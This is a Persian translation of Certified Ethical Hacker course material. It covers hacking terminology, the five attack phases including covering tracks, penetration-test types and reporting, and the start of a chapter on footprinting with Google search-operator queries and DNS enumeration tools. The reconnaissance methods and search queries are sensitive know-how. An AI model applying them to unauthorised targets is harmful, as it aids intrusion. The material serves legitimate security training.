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  مقدمه

يا مدرك تخصصي هكرهاي   CEHترين مدارك امنيت، مدرك ترين و كاربردي يكي از معروف

امنيتي به منظور ارزيابي مهارت افراد در برقراري امنيت  يمدرك ،CEHمدرك  .استقانونمند 

. است با حملات و نفوذهاي هكرهاو نيز كمك به آنها جهت مقابله  يهاي سازمان و شبكه ،ها سيستم

قادر به و شده هاي امنيتي آشنا  ليست و نيز چك هك هاي روشها و  اين دوره افراد با تكنيكدر 

آنها را شناسايي و برطرف قاط ضعف ها خواهند بود تا ن ها و شبكه سيستم امنيتيوضعيت بررسي 

  .سازند

و نيز اسلايدهاي آموزشي مربوط به اين  CEHترجمه كتاب رسمي ابي كه پيش رو داريد كت

تاجائيكه امكان دارد متن كتاب سعي شده است . بنده استتجارب شخصي  نيز برخي ازمدرك، و 

روان باشد تا هدف اصلي آن كه انتقال مطلب است، به درستي برآورده شود ولي مطمئنا اشكالات 

هاي بعدي كتاب،  بنده برسانيد تا در نسخه فني و ويرايشي فراواني دارد كه تقاضا دارم به اطلاع

  .كنماصلاح 

اند به ويژه از آقايان  دانم كه از تمام اساتيدي كه برايم زحمت كشيده بر خود لازم ميپايان  در

اميدوارم كتاب حاضر بتواند  .مهندس راستي دوست و مهندس مايان كمال تشكر را داشته باشم

  .طح علمي همگان باشدهر چند كوچكي در جهت افزايش س گامي

  

  

  محسن آذرنژاد

Mohsen_Azarnejad@yahoo.com 

  90تابستان 
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  مقدمه

هاي كامپيوتري را هك  توانند سيستم كه ميدارند كنند كه هكرها، مهارت و دانش بالايي  اغلب مردم فكر مي

نيز در حقيقت، يك هكر خوب، تنها بايد نحوه كار سيستم كامپيوتري را بداند و . پذير را پيدا كنند كنند و نقاط آسيب

  .شود هاي امنيتي استفاده مي چه ابزارهايي براي يافتن ضعف كه از بداند

براي  و هك است كه با مجوز سازماني نوعي مندهك قانون. كند ميرا معرفي  منداين فصل دنياي هكرهاي قانون

  .گيرد ميافزايش امنيت انجام 

  

  واژگان فني

در اين بخش، در مورد . توانايي درك و تعريف اصطلاحات هك، بخش مهمي از مسئوليت هكر قانونمند است

  .شويد برخي از اصطلاحات رايج در دنياي هك آشنا مي

هكرهاي قانونمند، زمانيكه تحليل . مختل كندامنيت را تواند  يا حالتي است كه ميشرايط ، )threat(تهديد 

  .كنند دهند، تهديدات را اولويت بندي مي امنيتي انجام مي

  

تواند  ميرا دارد و  ها يافزار، ابزار يا تكنيك است كه مزاياي آسيب پذير اي از نرم قطعه، )exploit(اكسپلويت 

  .روي يك سيستم كامپيوتري شود بر DoSحمله دسترسي، از دست دادن يكپارچگي، يا  ايجاد منجر به

  

  :ها داريم exploitدو دسته بندي از 

Remote exploitكند بدون آنكه از قبل به آن  امنيتي استفاده مي هاي كند و از آسيب پذيري ، روي شبكه كار مي

  .سيستم دسترسي داشته باشد

Local exploitروشي براي مختل كردن اكسپلويت .دتا سطح دسترسي را بالا ببر داردسيستم دسترسي به ه ، نياز ب ،

  .است ها از طريق آسيب پذيري ITامنيت يك سيستم 
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سازي  با پياده. سيستم است افزار نرمسازي  پياده يا ضعفي در طراحيوجود ، )vulnerability(آسيب پذيري 

  .دنياب ميكاهش  ها پذيريسيب آصحيح و اقدامات امنيتي، 

  

  .اي است كه موضوع حمله يا ارزيابي امنيتي است ، سيستم، برنامه يا شبكه)target of evaluation(هدف ارزيابي 

بسياري از حملات، . افتد ، به خطر ميها به خاطر آسيب پذيري دهد كه سيستمي  ، زماني رخ مي)attack(حمله 

، ها سيستم پذيري هكرهاي قانونمند از ابزارهايي براي يافتن آسيب. شوند مي هميشگيها،  اكسپلويت با استفاده از

  .كنند استفاده مي

  

هايي كه هكر  مند و شرور و فعاليتنعلاوه بر اين اصطلاحات، لازم است كه در مورد تفاوت بين هكرهاي قانو

  .آگاهي داشته باشيددهد،  مند انجام مينقانو

  

  هاي هك انواع مختلف تكنولوژي

ها  ها، و به خطر انداختن سيستم اكسپلويت ، اجرايها پذيري آسيب شناساييها و ابزارهاي زيادي براي  روش

، SQl injection، و buffer overflowها،  exploitها،  rootkitها،  Snifferها،  backdoorها،  تروجان. وجود دارد

  .استفاده شوند ها يا شبكه ها سيستمتوانند براي هك كردن  هايي هستند كه مي تكنولوژي
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  :كنند ها استفاده مي بسياري از ابزارهاي هك، به يكي از چهار روش زير از ضعف

كنند در  ها را با تنظيمات پيش فرض نصب مي ها، سيستم عامل بسياري از مديران سيستم: ها سيستم عامل •

 .نتيجه، قابليت آسيب پذيري دارند

پذيري آن  توانند از آسيب كنند بنابراين هكرها مي ها را تست نمي برنامهها،  ه نويسمعمولا برنام: ها برنامه •

 .استفاده كنندسو

• Shrink-wrap code :و خبرند كه كاربران عادي از وجود آن بي دارندهايي  ها، قابليت بسياري از برنامه 

به هكر اجازه  Microsoft wordافزار  ماكروها در نرمبراي مثال، . توانند براي هك سيستم استفاده شوند مي

 .دنده اجراي برنامه از داخل را مي

ممكن است سيستم به درستي پيكربندي نشده باشد يا حداقل نكات امنيتي در آن : پيكربندي نادرست •

قابليت تواند  اين امر مي وليشده باشد تا كاربران بتوانند به راحتي از سيستم استفاده كنند نرعايت 

 .پذيري سيستم را بالا ببرد آسيب

حملات . تواند استفاده كند، انواع مختلف حمله نيز وجود دارد هاي مختلفي كه هكر مي علاوه بر انواع تكنولوژي

دهند ولي حملات پسيو،  حملات اكتيو، سيستم يا شبكه را تغيير مي. توانند به دو دسته پسيو و اكتيو تقسيم شوند مي

دسترسي پذيري، يكپارچگي، و صحت بر روي حملات اكتيو، . هستند ها آوري اطلاعات از سيستم جمعبه دنبال 

  .كنند در حاليكه حملات پسيو، محرمانگي را مختل ميموثر هستند ها  داده

نيز ) outsider(و خارجي ) insider(توان حملات را به دو دسته داخلي  علاوه بر حملات اكتيو و پسيو، مي

حملاتي كه از داخل يك . دهد شكل زير ارتباط بين حملات پسيو و اكتيو، داخلي و خارجي را نشان مي. ردتقسيم ك

گيرد تا به  نامند و معمولا توسط كارمندي از داخل سازمان صورت مي د، را حملات داخلي مينگير سازمان شكل مي

  .بيل اينترنتگيرد از ق ت ميحمله خارجي، از بيرون سازمان صور. منابع بيشتري دسترسي پيدا كند

  

  انواع حملات
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  پنج مرحله مختلف هك قانونمند

اي كه هكرها براي  شكل زير، پنج مرحله. دهد ميانجام دهد را  هكر قانونمند، مراحلي را كه هكر شرور انجام مي

  .دهد دهند را توضيح مي ها انجام مي هك كردن سيستم

  

  مراحل هك

  

  اكتيو شناسايي پسيو و: 1مرحله 

آوري اطلاعات با در نظر گرفتن هدف بالقوه بدون مد نظر قرار دادن دانش شخص  شناسايي پسيو، شامل جمع

تواند به سادگي تماشاي يك ساختمان براي شناسايي زمان ورود و خروج  شناسايي پسيو، مي. يا شركت است

يا در مورد شركت و كارمندان آن، اطلاعات  اما معمول است كه از جستجوي اينترنتي استفاده شود. كارمندان باشد

 social(مهندسي اجتماعي . شود آوري اطلاعات ناميده مي اين فرآيند، بطور كلي، جمع. شودآوري  جمع

engineering (گردي  و آشغال)dumpster diving (شود آوري اطلاعات تلقي مي هاي پسيو جمع به عنوان روش.  

 تواند اطلاعات مفيدي همچون روش ديگري براي شناسايي پسيو است و مي، )sniffing(استراق سمع شبكه 

هاي ديگر را  ها و شبكه هاي قابل دسترس ديگر بر روي سيستم ها، و سرويس گذاري دستگاه نام، قانون IPهاي  آدرس

ببيند چه زماني  كند تا ها را بررسي مي دادهترافيك هكر، : مانيتورينگ است مشابهاستراق سمع ترافيك شبكه، . بدهد

  .يابد افتد و ترافيك از كجا جريان مي هاي مشخص اتفاق مي تراكنش
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معمولا . هاي شبكه است ، و سرويسIPهاي  ، آدرسفرادا كامپيوترهايشناسايي اكتيو، كاوش شبكه براي كشف 

نام برده  rattling the door knobeبه عنوان گاهي اوقات از آن ريسك بالايي است و  داراينسبت به شناسايي پسيو، 

  .شود مي

براي مثال، معمولا يافتن نوع . شوند شناسايي اكتيو و پسيو، هر دو منجر به كشف اطلاعات مفيد براي حمله مي

كنند كه  به هكر كمك مياين اطلاعات . كند، ساده است استفاده مي سازمانسرور و نسخه سيستم عاملي كه وب 

  .براي ايجاد دسترسي استفاده كند اكسپلويت سيستم عامل را پيدا كند و از هاي آسيب پذيري

  

  اسكن: 2مرحله 

ابزارهايي كه . شبكه است تستو استفاده از آن براي  ،اطلاعات كشف شده در طول شناساييبدست آوردن 

رسيم نقشه شبكه، ها، اسكنرهاي پورت، ابزارهاي ت dialerتواند  گيرد مي هكر در طول مرحله اسكن بكار مي

sweeper  حمله در انجامهكرها به دنبال اطلاعاتي هستند كه به آنها . دنباش يآسيب پذيرتست ها و اسكنرهاي 

  .هاي كاربري ، و حسابIPهاي  كامپيوترها، آدرس ناماز قبيل  كمك كند

  ايجاد دسترسي: 3مرحله 

شناخته شده در مراحل شناسايي و اسكن، اكنون هاي  آسيب پذيري. دهد در اين مرحله، حمله واقعي رخ مي

از طريق شبكه محلي  تواند كند مي روش ارتباطي كه هكر استفاده مي. شوند براي ايجاد دسترسي استفاده مي

)LAN(دسترسي محلي به كامپيوتر ، )local( از قبيل. آفلاين باشد صورت، اينترنت و يا به session hijacking ،

DoS و ،stack-based buffer overflow . در دنياي هكرها، ايجاد دسترسي با نام مالكيت سيستم)owning the 

system (شود شناخته مي.  
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  حفظ دسترسي: 4مرحله 

. خواهد كه براي حملات بعدي، دسترسي خود را حفظ كند زمانيكه هكر توانست دسترسي ايجاد كند، مي

ها،  backdoorاينكار را از طريق  آنها كنند سترسي هكرهاي ديگر امن مياوقات، هكرها، سيستم را از د گاهي

rootkit انجامتواند از آن براي  زمانيكه هكري سيستم را به تصرف خود درآورد، مي. دنده ها انجام مي ها، و تروجان 

  .شود گفته مي zombieدر اين حالت، به آن سيستم، سيستم . حملات ديگر استفاده كند

  از بين بردن ردپا: 5مرحله 

امنيتي، و ماموران زمانيكه هكري توانست به سيستمي دسترسي پيدا كند، جهت جلوگيري از شناسايي توسط 

هكرها . كند براي ادامه استفاده از سيستم قرباني، و نيز پاك كردن شواهد هك، اقدام به پاك سازي ردپاي خود مي

. را پاك كنند )IDS( هاي تشخيص نفوذ هاي سيستم ، يا پيغامlogهاي  لكنند تمام اثرات حملات از قبيل فاي سعي مي

  .كنند استفاده مي logهاي  ، و تغيير فايلتانلينگ هاي ، پروتكلsteganographyبراي اين منظور از 

  

Hacktivisim چيست؟  

Hacktivisimاز بسياري . هاي اجتماعي و سياسي دارند هكرها، معمولا انگيزه .، دليل و انگيزه هك است

ديگر شركت مخرب ، يا حملات DoSوب سايت، نوشتن ويروس، كردن  defaceهايي چون  هكرها، در فعاليت

  .هستندهاي سياسي  هاي دولتي و گروه ، آژانس)hacktivism(انگيزه هكرها  معمولا. كنند مي

  

  هكرها انواع

هكرهاي قانونمند معمولا . ها ها، و كلاه خاكستري كلاه سفيدها، كلاه سياه: گيرند هكرها در سه دسته قرار مي

  .شوند كلاه خاكستري مي ،اوقات گاهيگيرند اما  در دسته كلاه سفيدها قرار مي
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هكرهاي كلاه  .كنند ميشان براي اهداف دفاعي استفاده  اينها افرادي خوبي هستند كه از مهارت هك :كلاه سفيدها

سفيد، معمولا متخصصان امنيتي هستند كه دانش و ابزارهاي هك را دارند و از آنها براي كشف نقاط ضعف و اقدامات 

  .كنند پيشگيري استفاده مي

ها از مهارتشان براي اهداف غير قانوني استفاده  crackerهكرهاي شرور يا . اينها افراد بدي هستند :ها كلاه سياه

با داشتن دسترسي غيرمجاز، هكرهاي كلاه سياه . شكنند آنها يكپارچگي ماشين مورد نظر را به قصد شوم مي. كنند مي

مشكلات براي آنها باعث بروز را مختل كنند و  انهاي كاربر هاي حياتي و مهم را خراب كنند، سرويس توانند داده مي

  .قابل تشخيص هستنده سفيد اين دسته از هكرها، به راحتي از هكرهاي كلا. شوند

يعني . اينها هكرهايي هستند كه بسته به شرايط، ممكن است بصورت دفاعي يا مخرب عمل كنند: ها خاكستريكلاه 

  ).حزب باد(ممكن است هم به نيت خوب از دانش خود استفاده كنند و هم به نيت شوم 

  

  ها كيستند؟ crackerهكرهاي قانونمند و 

معمولا در امنيت يا مند نهكرهاي قانو! بله "تواند اخلاقي باشد؟ مگر هك مي"پرسند  خيلي از مردم مي

شان براي اهداف دفاعي و پيشگيرانه استفاده  ها و ابزارهاي هك هستند و از مهارتاي  حرفه ،هاي نفوذ در شبكه تست

اي قابليت آسيب پذيري، با هكرهاي قانونمند كه متخصصان امنيتي هستند، امنيت شبكه و سيستم را بر. كنند مي

  .كنند توانند براي به خطر انداختن شبكه استفاده كنند، تست مي استفاده از بعضي ابزارهايي كه هكرها مي

ها و ابزارهاي هك براي اهدافي همچون انتشار ويروس يا  كند كه از مهارت ، هكري را توصيف ميcrackerكلمه 

در اصل، كلمه هكر براي علاقمند به . ها را به خطر بياندازد ها يا شبكه كند تا سيستم استفاده مي DoSانجام حملات 

. برد ميهكر كسي است كه از دانستن كار يك سيستم، كامپيوتر و شبكه كامپيوتري لذت . شود ميكامپيوتر استفاده 

سپس واژه . كردند ميشكنند اطلاق  ميترها را ي كه به نيت شوم كامپيواندر طول زمان، مردم هكرها را به عنوان كس

cracker  رايج شد كه كوتاه شده عبارتcriminal hacker )است كه به دنبال اين است كه امنيت ) هكر مجرم

 ها ابييي امنيتي و ديگر ارزها شخصي است كه تست) ethical hacker( قانونمندهكر . سيستم را بدون اجازه بشكند

به عنوان  قانونمندهكرهاي  ،ها بعضي وقت. شان را امن كنندهاي كمك كند زيرساخت ها ا به سازماندهد ت ميرا انجام 

  .شوند ميهكرهاي كلاه سفيد شناخته 
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  ها اهداف حمله كننده

  :اي است عنصر پايه سهامنيت شامل 

 )Confidentiality(محرمانگي  •

 )Integrity(يكپارچگي  •

 )Availability(در دسترس بودن  •

ها را در سيستم هدف  هاي يكي از اين پايه هدف هكر، استفاده از آسيب پذيري سيستم يا شبكه است تا ضعف

هر چند كه . دهد ها را مورد حمله قرار مي ها و شبكه ، عنصر دسترسي سيستمDoSهكر در انجام حمله . پيدا كند

در . كه از منابع و پهناي باند استفاده شود هاي مختلفي داشته باشد، هدف اصلي اين است تواند شكل مي DoSحمله 

كند در نتيجه سرويس  هاي ورودي به سيستم هدف، آن را مجبور به خاموشي مي امغپيسرازير كردن اين حمله، با 

  .شود كاربران مختل مي

شوند،  هاي ديگر كه بصورت رمز نشده در شبكه ارسال مي سرقت اطلاعات، از قبيل سرقت پسوردها يا داده

هاي  فقط داده. دنده ها را مي هاي محرمانگي، بالقوه هستند براي اينكه به ديگران اجازه دسترسي به داده راي حملهب

ها، و نوارهاي پشتيبان نيز همگي در  ها، ديسك ها نيستند كه در معرض سرقت قرار دارند بلكه لپ تاپ روي شبكه

  .معرض خطر قرار دارند

، حملاتي براي يكپارچگي هستند براي اينكه ممكن است )bit-flipping( معكوس كردن وضعيت بيتحملات 

هايي هستند كه  همان ،ها توانند تشخيص دهند كه آيا داده ها نمي ها تغيير يابند بنابراين، مديران سيستم داده

  .كننده ارسال كرده است يا نه ارسال

  

  .هك كردن، شكستن يكي از اين پايه هاست
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  عملكرد، و راحتي استفادهمثلث امنيت، 

يك . توانيم رويكرد كاملا امني داشته باشيم ميپول نامحدود براي امن كردن همه چيز ندارد و ما ن كسهيچ

اي، جدا كردن كابل شبكه آن كامپيوتر است در اينصورت اين سيستم در  روش براي امن كردن سيستم از حمله شبكه

رويكرد . يابد ميمن خواهد بود اما قابليت استفاده از آن به شدت كاهش مقابل حملات مبتني بر اينترنت كاملا ا

ي امنيتي و فايروال است كه ها متضاد آن اتصال آن به شبكه اينترنت و عدم استفاده از هر نوع آنتي ويروس، وصله

. يابد مي افزايش يابد و علي رغم افزايش قابليت استفاده، امنيت به شدت كاهش ها شود آسيب پذيري ميسبب 

  .دهد ميشكل زير اين مفهوم را نشان . بنابراين، كار متخصص امنيتي، يافتن تعادلي بين امنيت و دسترسي است

  

  مثلث امنيت، عملكرد، و راحتي استفاده

را براي امنيت  يداتبراي يافتن تعادل، شما بايد بدانيد اهداف سازمانتان چيست، امنيت چيست و چگونه تهد

بنابراين وظيفه يك متخصص امنيتي، . كنند اگر امنيت زياد باشد به تدريج كاربران به آن توجه نمي .كنيدگيري  اندازه

  .يافتن تعادل در اين مثلث است

  .گيرند رود، كاربران آن را ناديده مي وقتي امنيت از يك حدي بالاتر مي

  

  تحقيق آسيب پذيري چيست؟

بعضي . تواند منجر به حمله به يك سيستم شود طراحي است كه ميهاي  ها و ضعف فرآيند كشف آسيب پذيري

. را كشف كنند هاها و نحوه استفاده از آن كنند تا نقاط آسيب پذير سيستم ها و ابزارها به هكرها كمك مي از وب سايت

. ها نگه دارند لويتاكسپ هايشان را عاري از ويروس، تروجان و ها و شبكه ها، سيستم بنابراين لازم است كه مديران شبكه

  .از بروز آن جلوگيري كنند و د حمله را تشخيص دهندنهمچنين با جديدترين تهديدات آشنا باشند تا بتوان
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  :آسيب پذيري عبارتند از درباره هاي تحقيق برخي از وب سايت

http://nvd.nist.gov  

www.securitytracker.com 

www.microsoft.com/security  

www.securiteam.com 

www.packetstormsecurity.com 

www.hackerstorm.com 

www.hackerwatch.org 

www.securityfocous.com 

www.securitymagazine.com  

www.milworm.com 

  

  روش هاي اجراي هك قانونمند

دهي شده و به عنوان بخشي از تست نفوذ يا بازرسي  معمولا هك قانونمند بصورت ساخت يافته و سازمان

  .ها، بسته به اهميت و نياز مشتري دارد ها و برنامه عمق تست سيستم. شود امنيتي انجام مي

  

  :مراحل زير براي انجام بازرسي امنيتي براي سازمان است

 ر تست بايد مورد توجه قرار گيرندتماس با مشتري و بحث با او در مورد نيازهايي كه د .1

 با مشتري) NDA(لاعات آماده سازي و امضاي تعهدنامه منع افشاي اط .2

 سازي برنامه براي تست هك و آمادهدهي تيم  سازمان .3

 انجام تست .4

 سازي گزارش يل نتايج تست و آمادهتحل .5

  ارائه گزارش به مشتري .6
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  برنامه ارزيابي امنيتي

اين . كنند هاي نفوذ استفاده مي بسياري از هكرهاي قانونمند، از مهارت امنيتي خود جهت ارزيابي و تست

  :ها، سه مرحله دارد ها و ارزيابي تست

  

بايد كل دامنه تست و نوع  ،اين توافق. سازي، توافق رسمي بين هكر قانونمند و سازمان است مرحله آماده

  . حملات و نوع تست را شامل شود

  

  انواع حملات قانونمند

اي به خطر انداختن امنيت بر زياديهاي  هكرهاي قانونمند، در طول شبيه سازي حمله يا تست نفوذ، از روش

  :ها عبارتند از ترين روش مهم. كنند سازمان استفاده مي

هكر قانونمند، . شودشود كه حمله از طريق اينترنت شبيه سازي  اين حمله سعي ميدر  ):remote(شبكه راه دور 

  .پيدا كندآسيب پذيري هاي دفاعي شبكه از قبيل فايروال، پروكسي، يا روتر  كند تا در دستگاه تلاش مي

، فرآيند War dialing. هاي مشتري حمله شود شود كه به مودم اين حمله سعي ميدر  :dial-upشبكه راه دور 

  .تكرار تماس براي يافتن سيستم باز است

براي انجام . كند كه دسترسي فيزيكي و غير مجاز به شبكه دارد اين حمله، شخصي را شبيه سازي مي :شبكه محلي

  .حمله، هكر قانونمند بايد به شبكه دسترسي مستقيم داشته باشد اين

با . شود هاي كارمندان، شبيه سازي مي منابع اطلاعاتي مهم از قبيل لپ تاپ سرقتدر اين حمله،  :تجهيزات سرقت

  .آيد لپ تاپ، اطلاعاتي همچون نام كاربري، پسوردها، تنظيمات امنيتي و انواع رمزگذاري بدست مي سرقت
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آوري  اين حمله، كارمندان سازمان را با استفاده از تلفن يا ارتباطات رو در رو براي جمع :مهندسي اجتماعي

هاي كاربري،  حملات مهندسي اجتماعي، براي بدست آوردن نام. دنده اطلاعات مورد نياز حمله، مورد ارزيابي قرار مي

  .وندش پسوردها، يا ديگر اطلاعات امنيتي سازماني استفاده مي

يعني با دسترسي فيزيكي به . كند تا محيط فيزيكي سازمان را به خطر بياندازد اين حمله تلاش مي :ورود فيزيكي

هاي شبكه هدف  افزاري را بر روي سيستم هاي سخت key loggerها يا  rootkitها،  ها، تروجان تواند ويروس آن، مي

  .نصب كند

  

  تستانواع 

 در حالتي باشد كه هكرها هيچ دانش ها ممكن است اين تست. هكرهاي قانونمند استتست امنيتي، اولين كار 

همه اطلاعات لازم را يا اينكه و داشته باشند  )target of evaluation(در مورد هدف مورد ارزيابي  يا دانش جزئي

  .داشته باشند

  

  )جعبه سياه(تست بدون دانش 

به بياني . شود ميشناخته ) Black box( نام تست جعبه سياهگيرد با  ميصورت  يتستي كه بدون هيچ دانش

تست جعبه سياه، يك هكر خارجي را . ي هدف ندارندها ، تيم امنيتي هيچ دانشي در مورد شبكه يا سيستمتر ساده

 را حمله كننده بايستي همه اطلاعات. ي هدف نداردها در مورد شبكه يا سيستم دانشيكند كه هيچ  ميشبيه سازي 

  :مزاياي تست جعبه سياه عبارتند از. مورد هدف بدست آورددر 

 .طراح شبكه و تست كننده مستقل از يكديگرندواقعي امنيت است براي اينكه  تست �

 .يا افكار قبلي در مورد عملكرد شبكه ندارد ها بنابراين، ايده. تست كننده، دانش قبلي از شبكه هدف ندارد �

 .كند ميرجي آزمايش تست، هدف را از ديد حمله كننده خا �

  :معايب تست جعبه سياه عبارتند از

 .كند ميي امنيتي صرف ها زمان بيشتري براي تست �

 .كنند ميزمان بيشتري را صرف  براي اينكهمعمولا بسيار گران هستند  �

كند در حاليكه در واقعيت، اغلب هكرها توسط  ميبينند تمركز  ميتنها بر روي آنچه كه هكرهاي خارجي  �

 .كنند ميكارمندان داخلي شروع به كار 
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  )جعبه سفيد(تست با دانش كامل 

كه  شود مياين شكل از تست امنيتي، فرض . تست جعبه سفيد، رويكرد متضاد در برابر تست جعبه سياه دارد

دهد  مياين اطلاعات به تست كننده اجازه . و زيرساخت دارد ها تست كننده امنيتي، دانش كامل از شبكه، سيستم

. نكند و صحت و دقت آنها را هم بررسي كند موجود اكتفا رويكرد ساخت يافته داشته باشد و تنها بر روي اطلاعات

را گيرد، تست جعبه سفيد آن زمان  ميآوري اطلاعات  بنابراين، هر چند كه تست جعبه سياه زمان بيشتري براي جمع

  .كند مي ها صرف ريآسيب پذيبراي يافتن 

  

  )جعبه خاكستري(تست با دانش جزئي 

 در اين تست، .شود مي تلقي، به عنوان تست با دانش جزئي افزار، تست جعبه خاكستري نرمدر دنياي تست 

 ها تست، ممكن است براي سازمان نوعاين . توانند به دست آورند ميكارمندان چه چيزي را  دانيمهدف اين است كه ب

  .شوند مي شروعبسيار مفيد باشد براي اينكه بسياري از حملات توسط كارمندان داخل سازمان 
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  گزارش هك قانونمند

گزارش . ندبايد به عنوان ريسك بحث شو ها آسيب پذيري. گزارش بايد شامل جزئيات نتايج بدست آمده باشد

ودآموز خبايستي گزارش بصورت فراگير و . بايد شامل نتايج ارزيابي به صورت ساده، قابل فهم، و قابل ردگيري باشد

  :ي زير هستندها اغلب گزارشات شامل بخش. باشد

 مقدمه �

 بيان كارهاي انجام شده �

 نتايج  �

 پيشنهادات �

توانند همه چيز را امن كنند، لذا بايستي پيشنهادات  ، بنابر دلايل مالي نميها از آنجائيكه بسياري از شركت

  .تر در بالاي ليست قرار گيرند ي مهمها يعني ريسك. بصورت ريسك پر خطر تا كم خطر مرتب شوند

سازي الكترونيكي ذخيره كنيد و از رمزگذاري  بايستي گزارش را بصورت كاملا امن در يك وسيله ذخيره

ي كافي از آن براي جلوگيري ها رش بصورت محرمانه برچسب گذاري شود و مراقبتنسخه چاپي از گزا. استفاده كنيد

  .از دسترسي اشخاص غير مجاز به عمل آيد
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 دوم فصل

 

  جمع آوري اطلاعات و مهندسي اجتماعي
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  مقدمه

. كند است بحث مي) footprinting(آوري اطلاعات  اين فصل در مورد اولين بخش از فرآيند هك كه جمع

footprintingتواند براي  يين اطلاعات ما. آوري تمام اطلاعات قابل دسترس در مورد يك سازمان است ، فرآيند جمع

  .گيرند مورد استفاده قرار مينيز اين اطلاعات براي انجام مهندسي اجتماعي  گاهي اوقات،. فرآيند هك استفاده شوند

  .خواهيم دادر مورد هر دو روش هك به تفصيل توضيح اين فصل ددر 

  

Footprinting  

Footprintingاطلاعات با توجه به معماري و محيط آوري  ، بخشي از مرحله پيش از حمله است كه شامل جمع

هاي  ، آسيب پذيريFootprinting. شود استفاده مي ،به محيط نفوذ جهتد و معمولا براي يافتن روشي باش هدف مي

 هاي كامپيوتري آوري اطلاعات در مورد سيستم ترين روش براي هكرها براي جمع اين، ساده. كند سيستم را كشف مي

هاي  ها، و جنبه ها و سرويس ها، پورت جائيكه امكان دارد در مورد سيستم اين است كه تا هدف اين مرحله. هدف است

  .امنيتي آنها اطلاعات كسب كنيم

  

  Footprintingتعريف 

Footprintingها است اي از شبكه سازمان و سيستم ، فرآيند ساخت نقشه .Footprinting  ،با تعيين سيستم

تواند به  براي مثال، وب سايت سازمان، اطلاعات پرسنل را دارد و مي. شود برنامه، يا مكان فيزيكي مقصد شروع مي

همچنين ممكن است هكر با استفاده از جستجوي گوگل يا  .هكر جهت انجام حمله مهندسي اجتماعي كمك كند

  .دياهو، اطلاعات كاركنان آن سازمان را بدست آور
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استفاده از موتور جستجوي گوگل براي . آوري اطلاعات است موتور جستجوي گوگل، روشي خلاقانه براي جمع

براي جستجو درباره  http://groups.google.com. شود شناخته مي Google hackingبازيابي اطلاعات، به عنوان 

براي  http://www.intellius.comو  http://people.yahoo.comهمچنين . شود هاي خبري گوگل استفاده مي گروه

  :دكراستفاده  Google hackingبراي توان  ميدستورات زير  از .روند كار ميه ب فرادپيدا كردن اطلاعات ا

• Siteبنويسيدوب سايت يا دامين مورد جستجو بايد بعد از كولن . كند ، داخل سايت يا دامين را جستجو مي. 
 

• Filetypeبنويسيددهد، بايد نوع فايل را بعد از كولن  ، جستجو را فقط براي نوع خاصي از فايل انجام مي. 
 

• Link داخل ،hyperlink كند جستجو و صفحات لينك شده را شناسايي ميرا يك كلمه  ،ها. 

• Cacheدكنيبايد بعد از كولن ذكر را آدرس سايت . كند ، نسخه يك صفحه وب را مشخص مي. 

• Intitle ،گردد داخل عنوان يك فايل مي در اي به دنبال كلمه . 

• Inurlجستجو را بعد از كولن ذكر كنيدمورد بايد كلمه . كند ، تنها داخل آدرس يك فايل جستجو مي. 

هاي وب استفاده  برنامههاي  تواند از دستور زير براي شناسايي انواع مشخص آسيب پذيري براي مثال، هكر مي

   INURL: [“parameter=”] with FILETYPE: [ext] and INURL: [scriptname]: كند

  :استفاده كند Novell BorderManagerتواند از عبارت زير براي سرورهاي  يا اينكه هكر ميو 

Intiltle: “BorderManager information alert”  

  

اي خبري، اخبار منتشر شده و ه توان از گروه شركت يا پرسنل، مييك درباره  يبراي پيدا كردن اطلاعات

هاي زيرساختي  د اطلاعاتي در مورد نوع سرورها يا دستگاهنتوان هاي شغلي سازماني مي پست. ها استفاده كرد بلاگ

  .دنشبكه شركت به شما بده

هاي اينترنتي،  تكنولوژي :در اين مرحله در مورد هدف به دست آورد عبارتند ازتوان  اطلاعات ديگري كه مي

، و ها و شماره تلفن يهاي پست الكترونيك فعال، آدرس IPهاي  مورد استفاده، آدرس هايافزار عامل و سخت سيستم

  .استها و فرآيندهاي سازماني  سياست

  .كند ديگر را بر روي انجام حمله صرف مي% 10آوري اطلاعات بر روي هدف و  از زمان را براي جمع% 90هكر، 
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  اطلاعاتآوري  هاي جمع متدلوژي

، در طول دو مرحله اول انجام footprintingفرآيند . شود آوري اطلاعات، به هفت مرحله تقسيم مي جمع

  :د عبارتند ازنشو آوري اطلاعات استفاده مي برخي از منابعي كه براي جمع. شود مي

Domain name lookup 

Whois 

Nslookup 

Sam Spade 

 

  

  آوري اطلاعات هفت مرحله جمع

رزشي ا اينكه در مورد اين ابزارها بحث كنيم، به خاطر داشته باشيد كه اطلاعات باز موجود، اطلاعات با قبل از

هاي  ، و اسكن آدرسDNS، جستجوي جداول whoisانجام . ها ها و آدرس در مورد هدف هستند از قبيل شماره تلفن

IP قانوني قابل  هاي طريق روشز اين اطلاعات، از بسياري ا. هايي از اطلاعات باز هستند هاي باز، مثال براي پورت

  .دسترس هستند
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  :عبارتند از Footprintingبرخي از ابزارهاي 

• Whois 

• Nslookup 

• ARIN 

• Neo Trace 

• VisualRoute Trace 

• SmartWhois 

• eMailTracker Pro 

• Website watcher 

• Google Earth 

• GEO Spider 

• HTTrack Web Copier 

• E-Mail Spider 

  

DNS Enumeration  

. نامند مي DNS Enumerationو ركوردهاي مربوطه براي يك سازمان را  DNSهمه سرورهاي  يافتنفرآيند 

هاي  تواند اطلاعاتي از قبيل نام داخلي و هم خارجي داشته باشد كه مي DNSهم سرورهاي  سازمانيممكن است 

  .ها را ارائه دهد سيستم IPهاي  هاي كامپيوتر، و آدرس كاربري، نام

توانند براي بدست آوردن اطلاعاتي كه براي  مي Whois، و NSlookup ،DNSstuff ،ARINابزارهايي از قبيل 

DNS enumeration  كار رونده بشوند،  مياستفاده.  

  

Nslookup  وDNSstuff  

براي  DNSبزار، از سرورهاي اين ا. است nslookupيكي از ابزارهاي قدرتمندي كه بايد با آن آشنا باشيد، 

ابزارهاي هك از . وجود دارد ويندوز، لينوكس، و يونيكس هاي در سيستم عامل و گيرد مي اطلاعات ركورد، كوئري

  .هستند nslookupابزار  داراي، Sam Spadeجمله 

سرورها و  IPهاي  براي يافتن آدرس nslookupتوانيد از  ، ميWhoisآوري شده از  با اطلاعات جمع

 Whoisهاي اصلي از  name serverبا استفاده از اطلاعات . كامپيوترهاي ديگر استفاده كنيد

)AUTH1.NS.NY1.NET(توانيد آدرس  ، ميIP سرور ايميل را بدست آوريد.  
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به جاي استفاده  .استها ابزاريكي از اين ، DNSstuff. اند ابزارهاي زيادي وجود دارند كه كار هك را ساده كرده

، تنها كافيست به DNSآوري اطلاعات ركورد  هاي فراوان، براي جمع با پارامترها و سوئيچ nslookupاز ابزار دستوري 

